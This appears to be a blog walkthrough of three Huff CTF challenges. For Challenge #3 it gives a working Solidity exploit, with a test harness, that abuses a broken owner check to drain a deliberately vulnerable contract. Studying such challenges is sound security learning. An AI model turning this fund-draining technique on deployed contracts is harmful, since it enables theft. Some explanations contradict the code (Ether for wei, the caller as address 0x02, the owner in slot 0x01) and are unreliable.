Skip to content
Huff Challenges - A Walkthrough

Huff Challenges - A Walkthrough

This post is a compilation of the walkthroughs for the Huff Challenges that I posted on my mirror. You can find walkthroughs for Challenge #1 here and Challenge #2 here.

Alright let's dive in!

Huff Challenge #3

Here’s the target contract for the challenge:

#define constant OWNER_SLOT = 0x00
#define constant WITHDRAWER_SLOT = 0x01
#define constant LAST_DEPOSITER_SLOT = 0x02
 
// Deposit into the contract.
#define macro DEPOSIT() = takes (0) returns (0) {
    callvalue iszero error jumpi // revert if msg.value == 0
    caller [LAST_DEPOSITER_SLOT] sstore // store last depositer
    stop
    error:
        0x00 0x00 revert
}
 
// Withdraw from the contract.
#define macro WITHDRAW() = takes (0) returns (0) {
    [WITHDRAWER_SLOT] sload       // get withdrawer
    caller eq iszero error jumpi  // revert if caller != withdrawer
 
    // Transfer tokens
    0x00 0x00 0x00 0x00     // fill stack with 0
    selfbalance caller gas  // call parameters
    call                    // send ETH
    stop
    error:
        0x00 0x00 revert
}
 
// Allow owner to set withdrawer.
#define macro SET_WITHDRAWER() = takes (0) returns (0) {
    caller callvalue sload eq iszero error jumpi // require(msg.sender==owner)
    0x04 calldataload [WITHDRAWER_SLOT] sstore   // set new withdrawer
    stop
    error:
        0x00 0x00 revert
}
 
// Constructor.
#define macro CONSTRUCTOR() = takes (0) returns (0) {
    caller [OWNER_SLOT] sstore // set the deploywer as the owner
}
 
// Main macro
#define macro MAIN() = takes (0) returns (0) {
    0x00 calldataload 0xE0 shr
    dup1 0xd0e30db0 eq deposit jumpi
    dup1 0x3ccfd60b eq withdraw jumpi
    dup1 0x0d174c24 eq set_withdrawer jumpi
 
    deposit:
        DEPOSIT()
    withdraw:
        WITHDRAW()
    set_withdrawer:
        SET_WITHDRAWER()
}

The Huff contract contains four primary operations defined as macros:

  • DEPOSIT(): allows a user to deposit funds into the contract.
  • WITHDRAW(): lets the designated withdrawer to extract funds from the contract.
  • SET_WITHDRAWER(): allows the owner to change the designated withdrawer.
  • CONSTRUCTOR(): a setup routine that runs once upon deployment, setting the deployer as the contract owner.

The contract also maintains three storage slots:

  • OWNER_SLOT: The contract's owner.
  • WITHDRAWER_SLOT: The currently designated withdrawer.
  • LAST_DEPOSITER_SLOT: The last user who deposited into the contract.
#define constant OWNER_SLOT = 0x00
#define constant WITHDRAWER_SLOT = 0x01
#define constant LAST_DEPOSITER_SLOT = 0x02

The Bug

The critical bug exists in the SET_WITHDRAWER() macro. It is intended to allow only the contract owner to set a new withdrawer. However, due to a flaw in the code, it actually checks whether the calling address matches the value of the transaction (in Wei). Here's the problematic line of code:

caller callvalue sload eq iszero error jumpi // require(msg.sender==owner)

This means that if the sender of the transaction sends an amount of Ether equal to their address when calling this function, they could change the withdrawer, thereby opening the door to draining the contract's funds.

Let's break it down.

In the line of code that creates the bug, caller callvalue sload eq iszero error jumpi, we see a sequence of opcodes that, while seemingly correct at first glance, contain a fatal logic error.

Here's how the above line is interpreted:

1.caller: This opcode pushes the caller's address (the address that started the execution) onto the stack.

2.callvalue: Pushes the amount of Wei sent with the message (msg.value) onto the stack. This should have been [OWNER_SLOT] to load the contract owner's address into the stack.

3.sload: Loads the value from storage located at the address at the top of the stack. Since we have just pushed callvalue, it will attempt to load a value from an address equivalent to the Wei sent, which is nonsensical in this context.

4.eq: Checks if the top two stack items are equal.

5.iszero: Checks if the result of the eq operation is 0.

6.error jumpi: If the previous operation resulted in 0 (meaning the eq operation returned false), it jumps to the error label and reverts the transaction.

The Fix

The correct operation to check whether the sender of the transaction is the contract's owner should have been caller [OWNER_SLOT] sload eq iszero error jumpi. This will correctly load the owner's address from the storage slot 0x01 into the stack and compare it to the caller's address, thereby correctly enforcing the permission check.

Here's the corrected SET_WITHDRAWER() macro:

#define macro SET_WITHDRAWER() = takes (0) returns (0) {
    caller [OWNER_SLOT] sload eq iszero error jumpi // require(msg.sender==owner)
    0x04 calldataload [WITHDRAWER_SLOT] sstore   // set new withdrawer
    stop
    error:
        0x00 0x00 revert
}

This is a really cool challenge as it shows how worse it can get by a change in a single word. Also it highlights the importance of understanding the basics before starting to use low-level languages like Huff, Yul, etk, etc.,

Proof of Concept

Having identified the flaw, let’s take a look at the PoC for a better understanding.

import "./IChallenge3.sol";
 
function playerScript(address instanceAddress) {
    new Challenge3Exploit{value: 3}(instanceAddress);
}
 
contract Challenge3Exploit {
    constructor(address instanceAddress) payable {
        Challenge3 challenge = Challenge3(payable(instanceAddress));
        challenge.deposit{value: 1}();
        challenge.setWithdrawer{value: 2}(address(this));
        challenge.withdraw();
        selfdestruct(payable(msg.sender));
    }
}

The Exploit

The playerScript() function is the main entry point. It deploys a new Challenge3Exploit contract, passing the instance address of the vulnerable contract and sending along 3 Ether.

Next, three key steps of the exploit:

1.challenge.deposit{value: 1}(); - Deposit 1 Ether into the vulnerable contract.

2.challenge.setWithdrawer{value: 2}(address(this)); - Exploit the bug, call the setWithdrawer() method with 2 Ether, so that the caller address (0x02) and the callvalue are both the same.

3.challenge.withdraw(); - Now that the contract is set as the withdrawer, call the withdraw() function to drain the funds from the vulnerable contract.

Finally, the line selfdestruct(payable(msg.sender)); sends all the funds collected by the exploit contract back to its deployer and destroys the contract.

Harness contract

     contract Challenge3Test is Test {
        address playerAddress = makeAddr("player");
        Challenge3 test;
 
        function setUp() public {
            test = Challenge3(HuffDeployer.deploy("HuffChallenge/challenge3/Challenge3"));
            test.deposit{value: 0.1 ether}();
            assertEq(address(test).balance, 0.1 ether);
        }
 
        function testExploit() public {
            vm.deal(playerAddress, 1 ether);
 
            vm.startPrank(playerAddress, playerAddress);
            playerScript(address(test));
            vm.stopPrank();
 
            assertEq(address(test).balance, 0 ether);
            assertEq(playerAddress.balance, 1.1 ether);
        }
    }
 

In the setUp() function, the vulnerable contract is deployed and an initial deposit of 0.1 Ether has been made.

In the testExploit() function, exploit is carried out. The vm.deal(playerAddress, 1 ether); line provides the exploiter with 1 Ether. Then vm.startPrank() is used to impersonate the player address, execute the exploit, and then stop the impersonation.

Finally, assert that the vulnerable contract's balance is now 0, and the player's balance has increased by 1.1 Ether, thereby validating the success of the exploit.


Huff Challenge #4

In this challenge, we're tasked with writing a Huff smart contract that reverses the calldata that it receives. Essentially, if you send data to this contract, it should be able to return the same data, but in reverse order.

For those who don’t know, calldata is a type of input data that is sent along with a transaction. It's stored outside of the EVM's storage and memory, making it cheaper to use.

Solution

There can be multiple valid solutions to this challenge. I’m going to use one of the solutions posted by @philogy for this walkthrough.

#define constant NEG1 = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
 
#define macro GET_CALLDATA_BYTE() = takes(1) returns(1) {
  calldataload 0xf8 shr
}
 
#define macro MAIN() = takes(0) returns(0) {
  calldatasize not_empty jumpi
  returndatasize returndatasize return
 
  not_empty:
  calldatasize
  returndatasize
 
  copy_bytes_iter:           // [i, j + 1]
    swap1                    // [j + 1, i]
    [NEG1] add               // [j, i]
    dup2 dup2                // [j, i, j, i]
    dup2 GET_CALLDATA_BYTE() // [cd[i], j, i, j, i]
    dup2 GET_CALLDATA_BYTE() // [cd[j], cd[i], j, i, j, i]
    swap2                    // [j, cd[i], cd[j], i, j, i]
    mstore8                  // [cd[j], i, j, i]
    swap1 mstore8            // [j, i]
    swap1 0x1 add            // [i', j' + 1]
    dup2 dup2                // [i', j' + 1, i', j' + 1]
    lt
    copy_bytes_iter jumpi
 
  calldatasize returndatasize return
}

Let me break it down for you.

Firstly, the constant NEG1, a 256-bit number representing -1 in two's complement form. This constant will be useful for offsetting indexes.

#define constant NEG1 = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

Next, a macro called GET_CALLDATA_BYTE() is defined. This macro fetches one byte of calldata at a specified index. calldataload is an EVM opcode that loads 32 bytes of calldata from a specific index. However, we're only interested in a single byte, so we shift right (shr) by 248 bits (0xf8) to isolate the byte we need.

#define macro GET_CALLDATA_BYTE() = takes(1) returns(1) {
  calldataload 0xf8 shr
}

Next comes the MAIN() macro. The first part of MAIN() is a short check for whether any calldata is present:

calldatasize not_empty jumpi
returndatasize returndatasize return

Here, calldatasize gets the size of the calldata. If the size is non-zero (meaning calldata is present), the control jumps to the not_empty label. If the size is zero (no calldata), then it immediately returns.

After confirming that calldata is present, the size of the calldata is fetched and pushed to the stack.

not_empty:
  calldatasize
  returndatasize

Next comes the spiciest part. The logic to reverse the calldata, one byte at a time.

Let's divide the copy_bytes_iter block into smaller chunks and discuss each one:

Block 1: Index preparation and byte retrieval
copy_bytes_iter:           // [i, j + 1]
  swap1                    // [j + 1, i]
  [NEG1] add               // [j, i]
  dup2 dup2                // [j, i, j, i]
  dup2 GET_CALLDATA_BYTE() // [cd[i], j, i, j, i]
  dup2 GET_CALLDATA_BYTE() // [cd[j], cd[i], j, i, j, i]

In this first block, we prepare the indices and retrieve the bytes to be swapped. We first swap i and j + 1 then subtract 1 from j + 1 to get j. After duplicating j and i for later use, the GET_CALLDATA_BYTE() macro is invoked twice to get the ith and jth bytes (cd[i] and cd[j]) from the calldata.

Block 2: Swapping the Bytes
  swap2                    // [j, cd[i], cd[j], i, j, i]
  mstore8                  // [cd[j], i, j, i]
  swap1 mstore8            // [j, i]

In the second block, the swapping of the bytes takes place. The contract swaps cd[i] and j, then uses mstore8 to store cd[j] at the ith position and cd[i] at the jth position. At the end of this block, j and i are left on the stack.

Block 3: Iterations
  swap1 0x1 add            // [i', j' + 1]
  dup2 dup2                // [i', j' + 1, i', j' + 1]
  lt
  copy_bytes_iter jumpi

In the third block, i is incremented to move on to the next byte from the start. The indices i' and j' + 1 are then duplicated for comparison. If i' is less than j' + 1, the loop continues and jumps back to copy_bytes_iter. Otherwise, the loop terminates, and the contract proceeds to the next stage.

By repeating these steps, the copy_bytes_iter block swaps all pairs of bytes in the calldata until all bytes are reversed.


Huff Challenge #5

The challenge we're examining today revolves around message signatures. Our goal is to create a contract using Huff, that takes a signature as input from the calldata, verifies if the message was indeed signed by the sender of the transaction, and returns true if it was. If the message wasn't signed by the sender or if the calldata doesn't adhere to the expected structure, we want the contract to do something that causes the transaction to run out of gas.

Solution

Here’s the solution for your quick glance:

#define macro MAIN() = takes (0) returns (0) {
    /// Check if calldatasize is 97 bytes (MessageHash=32, Signature=65)
    calldatasize
    0x61 eq
    extractParamsAndStore jumpi

    oog jump

    extractParamsAndStore:
    /// Store the message hash
    0x00 calldataload
    0x00 mstore

    /// Store 'v'
    0x60 calldataload
    0x3f mstore

    /// Store 'r'
    0x20 calldataload
    0x40 mstore

    /// Store 's'
    0x40 calldataload
    0x60 mstore

    /// Prepare stack for 'ecrecover' staticcall
    0x20
    0x00
    0x80
    0x00
    chainid
    gas
    staticcall validate jumpi

    oog jump

    /// Check if caller==retdata (signer address)
    validate:
    0x00 mload
    dup1
    caller
    eq valid jumpi

    oog jump

    // Return true
    valid:
    chainid
    0x00 mstore
    0x20 0x00 return

    // out-of-gas
    oog:
    0x01 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff mstore

If the above code is all Greek and Latin to you, don’t worry. I’m here to break it down for you.

#define macro MAIN() = takes (0) returns (0) {
    calldatasize
    0x61 eq
    extractParamsAndStore jumpi

    oog jump

The first part of the contract is responsible for checking whether the calldatasize equals 0x61 (which is the hexadecimal representation of 97 in decimal). 97 bytes is the expected size of the calldata (MessageHash=32 bytes, Signature=65 bytes). If the size is correct, it jumps to the extractParamsAndStore label. Otherwise, it jumps to the oog (out-of-gas) label to make the transaction run out of gas.

Next, we extract parameters from the calldata:

  extractParamsAndStore:
    0x00 calldataload
    0x00 mstore

    0x60 calldataload
    0x3f mstore

    0x20 calldataload
    0x40 mstore

    0x40 calldataload
    0x60 mstore

This part of the code extracts and stores the message hash, v, r, and s values from the calldata. These values represent the signed message we're looking for. The calldataload operation takes the start byte from the calldata, and mstore stores this data in memory.

We then prepare the stack with parameters for the ecrecover call:

    0x20
    0x00
    0x80
    0x00
    chainid
    gas
    staticcall validate jumpi

    oog jump

A staticcall is made to the precompiled contract residing at the address 0x01. It implements the ecrecover method. It is used to extract the signer’s address from the signature using message hash, v, r, and s values as input. The jumpi instruction then checks the outcome of the ecrecover call. If it's successful, the control gets transferred to the validate label. Otherwise, it jumps to oog, causing the transaction to run out of gas.

The contract then verifies if the extracted signer’s address matches the transaction sender’s address:

  validate:
    0x00 mload          // [rcvd_address]
    dup1                // [rcvd_address, rcvd_address]
    caller              // [msg.sender, rcvd_address]
    eq valid jumpi      // [msg.sender == rcvd_address?]

    oog jump            // if not equal, jump to out-of-gas block

The mload operation loads the signer's address from memory which is be the return value of the ecrecover call, dup1 duplicates this address on the stack, and caller gets the address of the transaction sender. The eq operation checks if the two addresses match. If they do, the program jumps to the valid label. Otherwise, it jumps to oog, again causing the transaction to run out of gas.

Finally, the contract returns true in the case of a valid signature:

valid:
  chainid
  0x00 mstore
  0x20 0x00 return

This section stores the current chain id (which serves as a boolean value 0x01 for Mainnet to represent true) into memory and returns it.

And in case of invalid calldata or signature, we run out of gas:

oog:
  0x01
  0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

  mstore

This code tries to store a massive value into memory, thereby using up all the available gas and causing an out-of-gas error.


Until next time 👋 👋